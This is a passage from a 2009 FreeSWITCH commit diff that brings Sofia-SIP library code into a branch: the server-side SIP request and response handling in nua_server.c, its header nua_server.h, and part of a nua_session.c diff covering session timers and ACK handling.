+  sr->sr_response.msg = nta_incoming_create_response(irq, 0, NULL);
+  sr->sr_response.sip = sip_object(sr->sr_response.msg);
+
+  if (sr->sr_response.msg == NULL) {
+    SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
+  }
+  else if (sm->sm_init && sm->sm_init(sr)) {
+    if (sr->sr_status < 200)    /* Init may have set response status */
+      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
+  }
+  /* Create handle if request does not fail */
+  else if (initial && sr->sr_status < 300) {
+    if ((nh = nua_stack_incoming_handle(nua, irq, sip, create_dialog)))
+      sr->sr_owner = nh;
+    else
+      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
+  }
+
+  if (sr->sr_status < 300 && sm->sm_preprocess && sm->sm_preprocess(sr)) {
+    if (sr->sr_status < 200)    /* Set response status if preprocess did not */
+      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
+  }
+
+  if (sr->sr_status < 300) {
+    if (sr->sr_target_refresh)
+      nua_dialog_uas_route(nh, nh->nh_ds, sip, 1); /* Set route and tags */
+    nua_dialog_store_peer_info(nh, nh->nh_ds, sip);
+  }
+
+  if (sr->sr_status == 100 && method != sip_method_unknown &&
+      !sip_is_allowed(NH_PGET(sr->sr_owner, appl_method), method, name)) {
+    if (method == sip_method_refer || method == sip_method_subscribe)
+      SR_STATUS1(sr, SIP_202_ACCEPTED);
+    else
+      SR_STATUS1(sr, SIP_200_OK);
+  }
+
+  /* INVITE server request is not finalized after 2XX response */
+  if (sr->sr_status < (method == sip_method_invite ? 300 : 200)) {
+    sr = su_alloc(nh->nh_home, (sizeof *sr));
+
+    if (sr) {
+      *sr = *sr0;
+
+      if ((sr->sr_next = nh->nh_ds->ds_sr))
+	*(sr->sr_prev = sr->sr_next->sr_prev) = sr,
+	  sr->sr_next->sr_prev = &sr->sr_next;
+      else
+	*(sr->sr_prev = &nh->nh_ds->ds_sr) = sr;
+    }
+    else {
+      sr = sr0;
+      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
+    }
+  }
+
+  if (sr->sr_status <= 100) {
+    SR_STATUS1(sr, SIP_100_TRYING);
+    if (method == sip_method_invite || sip->sip_timestamp) {
+      nta_incoming_treply(irq, SIP_100_TRYING,
+			  SIPTAG_USER_AGENT_STR(user_agent),
+			  TAG_END());
+    }
+  }
+  else {
+    /* Note that this may change the sr->sr_status */
+    nua_server_respond(sr, NULL);
+  }
+
+  if (nua_server_report(sr) == 0)
+    return 0;
+
+  return 501;
+}
+
+#undef nua_base_server_init
+#undef nua_base_server_preprocess
+
+int nua_base_server_init(nua_server_request_t *sr)
+{
+  return 0;
+}
+
+int nua_base_server_preprocess(nua_server_request_t *sr)
+{
+  return 0;
+}
+
+void nua_server_request_destroy(nua_server_request_t *sr)
+{
+  if (sr == NULL)
+    return;
+
+  if (SR_HAS_SAVED_SIGNAL(sr))
+    nua_destroy_signal(sr->sr_signal);
+
+  if (sr->sr_irq) {
+    if (sr->sr_method == sip_method_bye && sr->sr_status < 200) {
+      nta_incoming_treply(sr->sr_irq, SIP_200_OK, TAG_END());
+    }
+    nta_incoming_destroy(sr->sr_irq), sr->sr_irq = NULL;
+  }
+
+  if (sr->sr_request.msg)
+    msg_destroy(sr->sr_request.msg), sr->sr_request.msg = NULL;
+
+  if (sr->sr_response.msg)
+    msg_destroy(sr->sr_response.msg), sr->sr_response.msg = NULL;
+
+  if (sr->sr_prev) {
+    /* Allocated from heap */
+    if ((*sr->sr_prev = sr->sr_next))
+      sr->sr_next->sr_prev = sr->sr_prev;
+    su_free(sr->sr_owner->nh_home, sr);
+  }
+}
+
+/**@fn void nua_respond(nua_handle_t *nh, int status, char const *phrase, tag_type_t tag, tag_value_t value, ...);
+ *
+ * Respond to a request with given status code and phrase.
+ *
+ * The stack returns a SIP response message with given status code and
+ * phrase to the client. The tagged parameter list can specify extra headers
+ * to include with the response message and other stack parameters. The SIP
+ * session or other protocol state associated with the handle is updated
+ * accordingly (for instance, if an initial INVITE is responded with 200, a
+ * SIP session is established.)
+ *
+ * When responding to an incoming INVITE request, the nua_respond() can be
+ * called without NUTAG_WITH() (or NUTAG_WITH_CURRENT() or
+ * NUTAG_WITH_SAVED()). Otherwise, NUTAG_WITH() will contain an indication
+ * of the request being responded.
+ *
+ * @param nh              Pointer to operation handle
+ * @param status          SIP response status code (see RFCs of SIP)
+ * @param phrase          free text (default response phrase is used if NULL)
+ * @param tag, value, ... List of tagged parameters
+ *
+ * @return
+ *    nothing
+ *
+ * @par Responses by Protocol Engine
+ *
+ * When nua protocol engine receives an incoming SIP request, it can either
+ * respond to the request automatically or let application to respond to the
+ * request. The automatic response is returned to the client if the request
+ * fails syntax check, or the method, SIP extension or content negotiation
+ * fails.
+ *
+ * When the @ref nua_handlingevents "request event" is delivered to the
+ * application, the application should examine the @a status parameter. The
+ * @a status parameter is 200 or greater if the request has been already
+ * responded automatically by the stack.
+ *
+ * The application can add methods that it likes to handle by itself with
+ * NUTAG_APPL_METHOD(). The default set of NUTAG_APPL_METHOD() includes
+ * INVITE, PUBLISH, REGISTER and SUBSCRIBE. Note that unless the method is
+ * also included in the set of allowed methods with NUTAG_ALLOW(), the stack
+ * will respond to the incoming methods with <i>405 Not Allowed</i>.
+ *
+ * In order to simplify the simple applications, most requests are responded
+ * automatically. The BYE and CANCEL requests are always responded by the
+ * stack. Likewise, the NOTIFY requests associated with an event
+ * subscription are responded by the stack.
+ *
+ * Note that certain methods are rejected outside a SIP session (created
+ * with INVITE transaction). They include BYE, UPDATE, PRACK and INFO. Also
+ * the auxiliary methods ACK and CANCEL are rejected by the stack if there
+ * is no ongoing INVITE transaction corresponding to them.
+ *
+ * @par Related Tags:
+ *    NUTAG_WITH(), NUTAG_WITH_THIS(), NUTAG_WITH_SAVED() \n
+ *    NUTAG_EARLY_ANSWER() \n
+ *    SOATAG_ADDRESS() \n
+ *    SOATAG_AF() \n
+ *    SOATAG_HOLD() \n
+ *    Tags used with nua_set_hparams() \n
+ *    Header tags defined in <sofia-sip/sip_tag.h>.
+ *
+ * @par Events:
+ *    #nua_i_state \n
+ *    #nua_i_media_error \n
+ *    #nua_i_error \n
+ *    #nua_i_active \n
+ *    #nua_i_terminated \n
+ *
+ * @sa #nua_i_invite, #nua_i_register, #nua_i_subscribe, #nua_i_publish
+ */
+
+void
+nua_stack_respond(nua_t *nua, nua_handle_t *nh,
+		  int status, char const *phrase, tagi_t const *tags)
+{
+  nua_server_request_t *sr;
+  tagi_t const *t;
+  msg_t const *request = NULL;
+
+  t = tl_find_last(tags, nutag_with);
+
+  if (t)
+    request = (msg_t const *)t->t_value;
+
+  for (sr = nh->nh_ds->ds_sr; sr; sr = sr->sr_next) {
+    if (request && sr->sr_request.msg == request)
+      break;
+    /* nua_respond() to INVITE can be used without NUTAG_WITH() */
+    if (!t && sr->sr_method == sip_method_invite)
+      break;
+  }
+
+  if (sr == NULL) {
+    nua_stack_event(nua, nh, NULL, nua_i_error,
+		    500, "Responding to a Non-Existing Request", NULL);
+    return;
+  }
+  else if (!nua_server_request_is_pending(sr)) {
+    nua_stack_event(nua, nh, NULL, nua_i_error,
+		    500, "Already Sent Final Response", NULL);
+    return;
+  }
+  else if (sr->sr_100rel && !sr->sr_pracked && 200 <= status && status < 300) {
+    /* Save signal until we have received PRACK */
+    if (tags && nua_stack_set_params(nua, nh, nua_i_none, tags) < 0) {
+      sr->sr_application = status;
+      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
+    }
+    else {
+      su_msg_save(sr->sr_signal, nh->nh_nua->nua_signal);
+      return;
+    }
+  }
+  else {
+    sr->sr_application = status;
+    if (tags && nua_stack_set_params(nua, nh, nua_i_none, tags) < 0)
+      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
+    else {
+      sr->sr_status = status, sr->sr_phrase = phrase;
+    }
+  }
+
+  nua_server_params(sr, tags);
+  nua_server_respond(sr, tags);
+  nua_server_report(sr);
+}
+
+int nua_server_params(nua_server_request_t *sr, tagi_t const *tags)
+{
+  if (sr->sr_methods->sm_params)
+    return sr->sr_methods->sm_params(sr, tags);
+  return 0;
+}
+
+#undef nua_base_server_params
+
+int nua_base_server_params(nua_server_request_t *sr, tagi_t const *tags)
+{
+  return 0;
+}
+
+/** Return the response to the client.
+ *
+ * @retval 0 when successfully sent
+ * @retval -1 upon an error
+ */
+int nua_server_trespond(nua_server_request_t *sr,
+			tag_type_t tag, tag_value_t value, ...)
+{
+  int retval;
+  ta_list ta;
+  ta_start(ta, tag, value);
+  retval = nua_server_respond(sr, ta_args(ta));
+  ta_end(ta);
+  return retval;
+}
+
+/** Return the response to the client.
+ *
+ * @retval 0 when successfully sent
+ * @retval -1 upon an error
+ */
+int nua_server_respond(nua_server_request_t *sr, tagi_t const *tags)
+{
+  nua_handle_t *nh = sr->sr_owner;
+  nua_dialog_state_t *ds = nh->nh_ds;
+  sip_method_t method = sr->sr_method;
+  struct { msg_t *msg; sip_t *sip; } next = { NULL, NULL };
+  int retval, user_contact = 1;
+#if HAVE_OPEN_C
+  /* Nice. And old arm symbian compiler; see below. */
+  tagi_t next_tags[2];
+#else
+  tagi_t next_tags[2] = {{ SIPTAG_END() }, { TAG_NEXT(tags) }};
+#endif
+
+  msg_t *msg = sr->sr_response.msg;
+  sip_t *sip = sr->sr_response.sip;
+  sip_contact_t *m = sr->sr_request.sip->sip_contact;
+
+#if HAVE_OPEN_C
+  next_tags[0].t_tag   = siptag_end;
+  next_tags[0].t_value = (tag_value_t)0;
+  next_tags[1].t_tag   = tag_next;
+  next_tags[1].t_value = (tag_value_t)(tags);
+#endif
+
+  if (sr->sr_response.msg == NULL) {
+	  //assert(sr->sr_status == 500);
+	  SU_DEBUG_0(("sr without msg, sr_status=%u", sr->sr_status));
+    goto internal_error;
+  }
+
+  if (sr->sr_status < 200) {
+    next.msg = nta_incoming_create_response(sr->sr_irq, 0, NULL);
+    next.sip = sip_object(next.msg);
+    if (next.sip == NULL)
+      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
+  }
+
+  if (nta_incoming_complete_response(sr->sr_irq, msg,
+				     sr->sr_status,
+				     sr->sr_phrase,
+				     TAG_NEXT(tags)) < 0)
+    ;
+  else if (!sip->sip_supported && NH_PGET(nh, supported) &&
+	   sip_add_dup(msg, sip, (sip_header_t *)NH_PGET(nh, supported)) < 0)
+    ;
+  else if (!sip->sip_user_agent && NH_PGET(nh, user_agent) &&
+	   sip_add_make(msg, sip, sip_user_agent_class,
+			NH_PGET(nh, user_agent)) < 0)
+    ;
+  else if (!sip->sip_organization && NH_PGET(nh, organization) &&
+	   sip_add_make(msg, sip, sip_organization_class,
+			NH_PGET(nh, organization)) < 0)
+    ;
+  else if (!sip->sip_allow && NH_PGET(nh, allow) &&
+	   sip_add_dup(msg, sip, (void *)NH_PGET(nh, allow)) < 0)
+    ;
+  else if (!sip->sip_allow_events &&
+	   NH_PGET(nh, allow_events) &&
+	   (method == sip_method_publish || method == sip_method_subscribe ||
+	    method == sip_method_options || method == sip_method_refer ||
+	    (sr->sr_initial &&
+	     (method == sip_method_invite ||
+	      method == sip_method_notify))) &&
+	   sip_add_dup(msg, sip, (void *)NH_PGET(nh, allow_events)) < 0)
+    ;
+  else if (!sip->sip_contact && sr->sr_status < 300 && sr->sr_add_contact &&
+	   (user_contact = 0,
+	    ds->ds_ltarget
+	    ? sip_add_dup(msg, sip, (sip_header_t *)ds->ds_ltarget)
+	    : nua_registration_add_contact_to_response(nh, msg, sip, NULL, m))
+	   < 0)
+    ;
+  else {
+    int term;
+    sip_contact_t *ltarget = NULL;
+
+    term = sip_response_terminates_dialog(sr->sr_status, sr->sr_method, NULL);
+
+    sr->sr_terminating = (term < 0) ? -1 : (term > 0 || sr->sr_terminating);
+
+    if (sr->sr_target_refresh && sr->sr_status < 300 && !sr->sr_terminating &&
+	user_contact && sip->sip_contact) {
+      /* Save Contact given by application */
+      ltarget = sip_contact_dup(nh->nh_home, sip->sip_contact);
+    }
+
+    retval = sr->sr_methods->sm_respond(sr, next_tags);
+
+    if (sr->sr_status < 200)
+      sr->sr_response.msg = next.msg, sr->sr_response.sip = next.sip;
+    else if (next.msg)
+      msg_destroy(next.msg);
+
+    assert(sr->sr_status >= 200 || sr->sr_response.msg);
+
+    if (ltarget) {
+      if (sr->sr_status < 300) {
+	nua_dialog_state_t *ds = nh->nh_ds;
+	msg_header_free(nh->nh_home, (msg_header_t *)ds->ds_ltarget);
+	ds->ds_ltarget = ltarget;
+      }
+      else
+	msg_header_free(nh->nh_home, (msg_header_t *)ltarget);
+    }
+
+    return retval;
+  }
+
+  if (next.msg)
+    msg_destroy(next.msg);
+
+  SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
+
+  msg_destroy(msg);
+
+ internal_error:
+  sr->sr_response.msg = NULL, sr->sr_response.sip = NULL;
+  nta_incoming_treply(sr->sr_irq, sr->sr_status, sr->sr_phrase, TAG_END());
+
+  return 0;
+}
+
+/** Return the response to the client.
+ *
+ * @retval 0 when successfully sent
+ * @retval -1 upon an error
+ */
+int nua_base_server_respond(nua_server_request_t *sr, tagi_t const *tags)
+{
+  msg_t *response = sr->sr_response.msg;
+  sip_t *sip = sr->sr_response.sip;
+
+  sr->sr_response.msg = NULL, sr->sr_response.sip = NULL;
+
+  if (sr->sr_status != sip->sip_status->st_status) {
+    msg_header_remove(response, (msg_pub_t *)sip,
+		      (msg_header_t *)sip->sip_status);
+    nta_incoming_complete_response(sr->sr_irq, response,
+				   sr->sr_status,
+				   sr->sr_phrase,
+				   TAG_END());
+  }
+
+  if (sr->sr_status != sip->sip_status->st_status) {
+    msg_destroy(response);
+    SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
+    nta_incoming_treply(sr->sr_irq, sr->sr_status, sr->sr_phrase, TAG_END());
+    return 0;
+  }
+
+  return nta_incoming_mreply(sr->sr_irq, response);
+}
+
+int nua_server_report(nua_server_request_t *sr)
+{
+  if (sr)
+    return sr->sr_methods->sm_report(sr, NULL);
+  else
+    return 1;
+}
+
+int nua_base_server_treport(nua_server_request_t *sr,
+			    tag_type_t tag, tag_value_t value,
+			    ...)
+{
+  int retval;
+  ta_list ta;
+  ta_start(ta, tag, value);
+  retval = nua_base_server_report(sr, ta_args(ta));
+  ta_end(ta);
+  return retval;
+}
+
+/**Report request event to the application.
+ *
+ * @retval 0 request lives
+ * @retval 1 request was destroyed
+ * @retval 2 request and its usage was destroyed
+ * @retval 3 request, all usages and dialog was destroyed
+ * @retval 4 request, all usages, dialog, and handle was destroyed
+ */
+int nua_base_server_report(nua_server_request_t *sr, tagi_t const *tags)
+{
+  nua_handle_t *nh = sr->sr_owner;
+  nua_t *nua = nh->nh_nua;
+  nua_dialog_usage_t *usage = sr->sr_usage;
+  int initial = sr->sr_initial;
+  int status = sr->sr_status;
+  char const *phrase = sr->sr_phrase;
+
+  int terminated;
+  int handle_can_be_terminated = initial && !sr->sr_event;
+
+  if (sr->sr_application) {
+    /* There was an error sending response */
+    if (sr->sr_application != sr->sr_status)
+      nua_stack_event(nua, nh, NULL, nua_i_error, status, phrase, tags);
+    sr->sr_application = 0;
+  }
+  else if (status < 300 && !sr->sr_event) {
+    msg_t *msg = msg_ref_create(sr->sr_request.msg);
+    nua_event_t e = (enum nua_event_e)sr->sr_methods->sm_event;
+    sr->sr_event = 1;
+    nua_stack_event(nua, nh, msg, e, status, phrase, tags);
+  }
+
+  if (status < 200)
+    return 0;			/* sr lives on until final response is sent */
+
+  if (sr->sr_method == sip_method_invite && status < 300)
+    return 0;			/* INVITE lives on until ACK is received */
+
+  if (initial && 300 <= status)
+    terminated = 1;
+  else if (sr->sr_terminating && status < 300)
+    terminated = 1;
+  else
+    terminated = sip_response_terminates_dialog(status, sr->sr_method, NULL);
+
+  if (usage && terminated)
+    nua_dialog_usage_remove(nh, nh->nh_ds, usage, NULL, sr);
+
+  nua_server_request_destroy(sr);
+
+  if (!terminated)
+    return 1;
+
+  if (!initial) {
+    if (terminated > 0)
+      return 2;
+
+    /* Remove all usages of the dialog */
+    nua_dialog_deinit(nh, nh->nh_ds);
+
+    return 3;
+  }
+  else if (!handle_can_be_terminated) {
+    return 3;
+  }
+  else {
+    if (nh != nh->nh_nua->nua_dhandle)
+      nh_destroy(nh->nh_nua, nh);
+
+    return 4;
+  }
+}

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_server.h (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/nua/nua_server.h) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_server.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_server.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,201 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2006 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+#ifndef NUA_SERVER_H
+/** Defined when <nua_server.h> has been included. */
+#define NUA_SERVER_H
+
+/**@IFILE nua_server.h
+ * @brief Dialog and dialog usage handling
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ * @author Kai Vehmanen <Kai.Vehmanen@nokia.com>
+ *
+ * @date Created: Wed Mar  8 11:38:18 EET 2006  ppessi
+ */
+
+#include <nua_types.h>
+
+#ifndef NTA_H
+#include <sofia-sip/nta.h>
+#endif
+
+typedef struct {
+  sip_method_t sm_method;
+  char const *sm_method_name;
+
+  int sm_event;
+
+  struct {
+    unsigned create_dialog:1, in_dialog:1, target_refresh:1, add_contact:1;
+    unsigned :0;
+  } sm_flags;
+
+  /** Initialize server-side request. */
+  int (*sm_init)(nua_server_request_t *sr);
+
+  /** Preprocess server-side request (after handle has been created). */
+  int (*sm_preprocess)(nua_server_request_t *sr);
+
+  /** Update server-side request parameters */
+  int (*sm_params)(nua_server_request_t *sr, tagi_t const *tags);
+
+  /** Respond to server-side request. */
+  int (*sm_respond)(nua_server_request_t *sr, tagi_t const *tags);
+
+  /** Report server-side request to application. */
+  int (*sm_report)(nua_server_request_t *sr, tagi_t const *tags);
+
+} nua_server_methods_t;
+
+/* Server side transaction */
+struct nua_server_request {
+  struct nua_server_request *sr_next, **sr_prev;
+
+  nua_server_methods_t const *sr_methods;
+
+  nua_owner_t *sr_owner;	/**< Backpointer to handle */
+  nua_dialog_usage_t *sr_usage;	/**< Backpointer to usage */
+
+  nta_incoming_t *sr_irq;	/**< Server transaction object */
+
+  struct {
+    msg_t *msg;			/**< Request message */
+    sip_t const *sip;		/**< Headers in request message */
+  } sr_request;
+
+  struct {
+    msg_t *msg;			/**< Response message */
+    sip_t *sip;			/**< Headers in response message */
+  } sr_response;
+
+  sip_method_t sr_method;	/**< Request method */
+
+  int sr_application;		/**< Status by application */
+
+  int sr_status;		/**< Status code */
+  char const *sr_phrase;	/**< Status phrase */
+
+  unsigned sr_event:1;		/**< Reported to application */
+  unsigned sr_initial:1;	/**< Handle was created by this request */
+  unsigned sr_add_contact:1;	/**< Add Contact header to the response */
+  unsigned sr_target_refresh:1;	/**< Refresh target */
+  unsigned sr_terminating:1;	/**< Terminate usage after final response */
+  unsigned sr_gracefully:1;	/**< Terminate usage gracefully */
+
+  unsigned sr_neutral:1;	/**< No effect on session or other usage */
+
+  /* Flags used with 100rel */
+  unsigned sr_100rel:1, sr_pracked:1;
+
+  /* Flags used with offer-answer */
+  unsigned sr_offer_recv:1;	/**< We have received an offer */
+  unsigned sr_answer_sent:2;	/**< We have answered (reliably, if >1) */
+
+  unsigned sr_offer_sent:2;	/**< We have offered SDP (reliably, if >1) */
+  unsigned sr_answer_recv:1;	/**< We have received SDP answer */
+
+  unsigned :0;
+
+  char const *sr_sdp;		/**< SDP received from client */
+  size_t sr_sdp_len;		/**< SDP length */
+
+  /**< Save 200 OK nua_respond() signal until PRACK has been received */
+  nua_saved_signal_t sr_signal[1];
+};
+
+#define SR_STATUS(sr, status, phrase) \
+  ((sr)->sr_phrase = (phrase), (sr)->sr_status = (status))
+
+#define SR_STATUS1(sr, statusphrase)					\
+  sr_status(sr, statusphrase)
+
+#define SR_HAS_SAVED_SIGNAL(sr) ((sr)->sr_signal[0] != NULL)
+
+su_inline
+int sr_status(nua_server_request_t *sr, int status, char const *phrase)
+{
+  return (void)(sr->sr_phrase = phrase), (sr->sr_status = status);
+}
+
+extern nua_server_methods_t const
+  nua_extension_server_methods,
+  nua_invite_server_methods,	/**< INVITE */
+  nua_bye_server_methods,	/**< BYE */
+  nua_options_server_methods,	/**< OPTIONS */
+  nua_register_server_methods,	/**< REGISTER */
+  nua_info_server_methods,	/**< INFO */
+  nua_prack_server_methods,	/**< PRACK */
+  nua_update_server_methods,	/**< UPDATE */
+  nua_message_server_methods,	/**< MESSAGE */
+  nua_subscribe_server_methods, /**< SUBSCRIBE */
+  nua_notify_server_methods,	/**< NOTIFY */
+  nua_refer_server_methods,	/**< REFER */
+  nua_publish_server_methods;	/**< PUBLISH */
+
+/** Return true if we have not sent final response to request */
+su_inline
+int nua_server_request_is_pending(nua_server_request_t const *sr)
+{
+  return sr && sr->sr_response.msg;
+}
+
+su_inline
+int nua_server_request_status(nua_server_request_t const *sr)
+{
+  return sr ? nta_incoming_status(sr->sr_irq) : 500;
+}
+
+void nua_server_request_destroy(nua_server_request_t *sr);
+
+int nua_base_server_init(nua_server_request_t *sr);
+
+#define nua_base_server_init NULL
+
+int nua_base_server_preprocess(nua_server_request_t *sr);
+
+#define nua_base_server_preprocess NULL
+
+int nua_server_params(nua_server_request_t *sr, tagi_t const *tags);
+
+int nua_base_server_params(nua_server_request_t *sr, tagi_t const *tags);
+
+#define nua_base_server_params NULL
+
+int nua_server_trespond(nua_server_request_t *sr,
+			tag_type_t tag, tag_value_t value, ...);
+int nua_server_respond(nua_server_request_t *sr, tagi_t const *tags);
+
+int nua_base_server_trespond(nua_server_request_t *sr,
+			     tag_type_t tag, tag_value_t value, ...);
+int nua_base_server_respond(nua_server_request_t *sr,
+			    tagi_t const *tags);
+
+int nua_server_report(nua_server_request_t *sr);
+
+int nua_base_server_treport(nua_server_request_t *sr,
+			    tag_type_t tag, tag_value_t value, ...);
+int nua_base_server_report(nua_server_request_t *sr, tagi_t const *tags);
+
+#endif /* NUA_SERVER_H */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_session.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_session.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_session.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,7 +39,7 @@
 
 #include <assert.h>
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/sip_protos.h>
 #include <sofia-sip/sip_status.h>
 #include <sofia-sip/sip_util.h>
@@ -275,7 +275,7 @@
     if (cr->cr_status < 200) {
       nua_stack_event(nh->nh_nua, nh,
 		      NULL,
-		      cr->cr_event,
+		      (enum nua_event_e)cr->cr_event,
 		      SIP_481_NO_TRANSACTION,
 		      NULL);
     }
@@ -371,9 +371,9 @@
 				     int initial,
 				     msg_t *msg, sip_t *sip);
 
-static void session_timer_negotiate(struct session_timer *t);
+static void session_timer_negotiate(struct session_timer *t, int uas);
 
-static void session_timer_set(nua_session_usage_t *ss);
+static void session_timer_set(nua_session_usage_t *ss, int uas);
 
 static int session_timer_check_restart(nua_client_request_t *cr,
 				       int status, char const *phrase,
@@ -696,7 +696,6 @@
 
 extern nua_client_methods_t const nua_bye_client_methods;
 extern nua_client_methods_t const nua_cancel_client_methods;
-extern nua_client_methods_t const nua_info_client_methods;
 extern nua_client_methods_t const nua_update_client_methods;
 extern nua_client_methods_t const nua_prack_client_methods;
 
@@ -732,9 +731,12 @@
       if (sr->sr_usage == du && sr->sr_method == sip_method_invite &&
 	  nua_server_request_is_pending(sr))
 	return nua_client_return(cr, SIP_491_REQUEST_PENDING, msg);
+    cr->cr_initial = 0;
   }
-  else
+  else {
     du = nua_dialog_usage_add(nh, nh->nh_ds, nua_session_usage, NULL);
+    cr->cr_initial = 1;
+  }
 
   if (!du)
     return -1;
@@ -849,6 +851,7 @@
 {
   nua_dialog_usage_t *du = cr->cr_usage;
   nua_session_usage_t *ss = nua_dialog_usage_private(du);
+  int uas;
 
   if (ss == NULL || sip == NULL) {
     /* Xyzzy */
@@ -859,7 +862,7 @@
     if (session_timer_is_supported(ss->ss_timer))
       session_timer_store(ss->ss_timer, sip);
 
-    session_timer_set(ss);
+    session_timer_set(ss, uas = 0);
   }
 
   return nua_session_client_response(cr, status, phrase, sip);
@@ -883,7 +886,7 @@
     if (!nua_dialog_is_established(nh->nh_ds)) {
       nta_outgoing_t *tagged;
 
-      nua_dialog_uac_route(nh, nh->nh_ds, sip, 1);
+      nua_dialog_uac_route(nh, nh->nh_ds, sip, 1, 1);
       nua_dialog_store_peer_info(nh, nh->nh_ds, sip);
 
       /* Tag the INVITE request */
@@ -1017,14 +1020,15 @@
   nua_dialog_state_t *ds = nh->nh_ds;
   nua_dialog_usage_t *du = cr->cr_usage;
   nua_session_usage_t *ss = nua_dialog_usage_private(du);
+  msg_t *response = nta_outgoing_getresponse(orq);
   unsigned next_state;
   int error;
 
   nh_referral_respond(nh, status, phrase); /* XXX - restarting after 401/407 */
 
   nua_stack_event(nh->nh_nua, nh,
-		  nta_outgoing_getresponse(orq),
-		  cr->cr_event,
+		  response,
+		  (enum nua_event_e)cr->cr_event,
 		  status, phrase,
 		  tags);
 
@@ -1045,6 +1049,8 @@
     return 1;
   }
 
+  response = msg_ref_create(response); /* Keep reference to contents of sip */
+
   if (orq != cr->cr_orq && cr->cr_orq) {	/* Being restarted */
     next_state = nua_callstate_calling;
   }
@@ -1101,8 +1107,9 @@
 
   if (next_state == nua_callstate_completing) {
     if (NH_PGET(nh, auto_ack) ||
-	/* Auto-ACK response to re-INVITE unless auto_ack is set to 0 */
-	(ss->ss_state == nua_callstate_ready &&
+	/* Auto-ACK response to re-INVITE when media is enabled
+	   and auto_ack is not set to 0 on handle */
+	(ss->ss_state == nua_callstate_ready && nh->nh_soa &&
 	 !NH_PISSET(nh, auto_ack))) {
       nua_client_request_t *cru;
 
@@ -1138,8 +1145,10 @@
 
   ss->ss_reporting = 0;
 
-  signal_call_state_change(nh, ss, status, phrase, next_state);
+  signal_call_state_change(nh, ss, status, phrase, (enum nua_callstate)next_state);
 
+  msg_destroy(response);
+
   return 1;
 }
 
@@ -1180,14 +1189,10 @@
     return 1;
   }
 
-  if (tags) {
+  if (tags)
     nua_stack_set_params(nua, nh, nua_i_error, tags);
-    if (nh->nh_soa)
-      soa_set_params(nh->nh_soa, TAG_NEXT(tags));
-  }
 
   nua_client_request_ref(cr);
-
   error = nua_invite_client_ack(cr, tags);
 
   if (error < 0) {
@@ -1237,11 +1242,11 @@
   assert(cr->cr_orq);
   assert(cr->cr_method == sip_method_invite);
 
+  cr->cr_initial = 0;
+
   if (!ds->ds_leg) {
     /* XXX - fix nua_dialog_usage_remove_at() instead! */
-    nua_client_request_clean(cr);
-    nua_client_request_remove(cr);
-    return -1;
+    goto error;
   }
 
   assert(ds->ds_leg);
@@ -1249,7 +1254,7 @@
   msg = nta_outgoing_getrequest(cr->cr_orq);
   sip = sip_object(msg);
   if (!msg)
-    return -1;
+    goto error;
   invite_branch = nta_outgoing_branch(cr->cr_orq);
 
   wa = sip_authorization(sip);
@@ -1260,7 +1265,7 @@
   msg = nta_msg_create(nh->nh_nua->nua_nta, 0);
   sip = sip_object(msg);
   if (!msg)
-    return -1;
+    goto error;
 
   cseq = sip_cseq_create(msg_home(msg), cr->cr_seq, SIP_METHOD_ACK);
 
@@ -1293,7 +1298,7 @@
     while (sip->sip_supported)
       sip_header_remove(msg, sip, (sip_header_t*)sip->sip_supported);
 
-    if (ss == NULL || ss->ss_state >= nua_callstate_ready)
+    if (ss == NULL || ss->ss_state > nua_callstate_ready)
       ;
     else if (cr->cr_offer_recv && !cr->cr_answer_sent) {
       if (nh->nh_soa == NULL) {
@@ -1311,7 +1316,7 @@
       }
     }
 
-    if (ss == NULL || ss->ss_state >= nua_callstate_ready || reason)
+    if (ss == NULL || ss->ss_state > nua_callstate_ready || reason)
       ;
     else if (nh->nh_soa && soa_is_complete(nh->nh_soa)) {
       /* signal SOA that O/A round(s) is (are) complete */
@@ -1375,10 +1380,11 @@
   if (error == -1)
     msg_destroy(msg);
 
+ error:
   cr->cr_acked = 1;		/* ... or we have at least tried */
 
+  nua_client_request_remove(cr);
   nua_client_request_clean(cr);
-  nua_client_request_remove(cr);
 
   return error;
 }
@@ -1426,6 +1432,10 @@
 static int nua_cancel_client_request(nua_client_request_t *cr,
 				     msg_t *msg, sip_t *sip,
 				     tagi_t const *tags);
+static int nua_cancel_client_check_restart(nua_client_request_t *cr,
+					   int status,
